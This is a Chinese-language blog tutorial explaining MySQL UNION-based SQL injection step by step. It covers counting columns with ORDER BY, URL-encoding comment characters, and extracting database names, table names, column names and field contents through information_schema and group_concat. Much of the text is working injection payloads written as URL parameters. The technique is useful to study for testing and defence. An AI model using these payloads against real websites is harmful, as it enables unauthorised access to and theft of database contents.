sql注入中的union联合注入思路分析
2022-12-03 21:49:02349浏览
union注入是sql注入的一大类型, 本文就来讲解有关sql联合注入时的思路。

思路:

1.首先要找到能与数据库交互的注入点:

2.测试字段的数量,判断SQL语句查询的列数:

在这里我们使用的命理是order by

通常构造:

?id=1’ order by sum–+ 和 1’ order by sum#

这里的sum指代的是数字从1开始逐个测试直至3回显有报错为止:

?id=1’ order by 1–+

?id=1’ order by 2–+

?id=1’ order by 3–+

?id=1’ order by 4–+

?id=1’ order by 5–+

?id=1’ order by 6–+

?id=1’ order by 7–+

……

当出现报错的时候就说明所测试的sum数字是超出了数据库的字段数,那么数据库的字段数就是sum-1

注意:

这里有必要说一下这个注释符:

井号(#)在URL中无法使用?

url中#号是用来指导浏览器动作的(例如锚点),对服务器端是无用的。所以,HTTP请求中不包括#,将#号改成url的编码%23就可以了

在SQL语句中注释是(-- )减减空格或者(–’)减减单引号,而在URL中空格会被截掉成空,所以将空格URL编码,用(–%20)也可以。

3.用union命令将两条命令语句联合起来进行查询并拿到相应的数据库名称:

这里因为union命令的性质需要将前面的查询语句的结果报错,所以可以在构造语句的时候可以将ID的值设为数据表中不会出现的值,同时在联合命令database()、user()、version()来回显数据库的名称、用户、当前的版本号。

通常构造:

?id=0’ union select 1,2,3,database()–+ 或 0’ union select 1,2,3,database()#

4.在拿到数据库的名称后就需要获取数据表的名称:

但是这里有需要注意的地方:

mysql不同版本的数据库结构不同

MySQL版本⼩于5.0时,不⽀持union select联合查询,这里就需要使用暴力破解的方法,但是目前mysql版本基本都大于5.0,所以基本都可以使用联合查询的方法。

MySQL版本⼤于5.0时,有一个自带的默认数据库叫information_schema,这个数据库中保存了 Mysql中数据库的信息,如库名,表名,字段的名及数据类型与访问权限等。

这一步的爆破表名就需要使用到这个数据库的内容中的information_schema.tables

构造命令:

?id=0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 或 0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #

5.爆破相应表的列名:

这里一般会有多个列,会超出显示并报错,所以使用函数group_concat将其合并输出

通常构造:

?id=0’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=“之前爆破的表名” --+ 或 ?id=0’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=“之前爆破的表名” #

其中的table_name="" 需要“”或者用十六进制来表述

6.爆破相应的字段内容:

这个就是直接读取相应的内容

通常构造:

?id=0’ union select 1,2,3,group_concat(所爆破字段名) from 所爆破表名 --+ 或者 id=0’ union select 1,2,(select 所爆破字段名from 所爆破表名 ),4#

友情链接: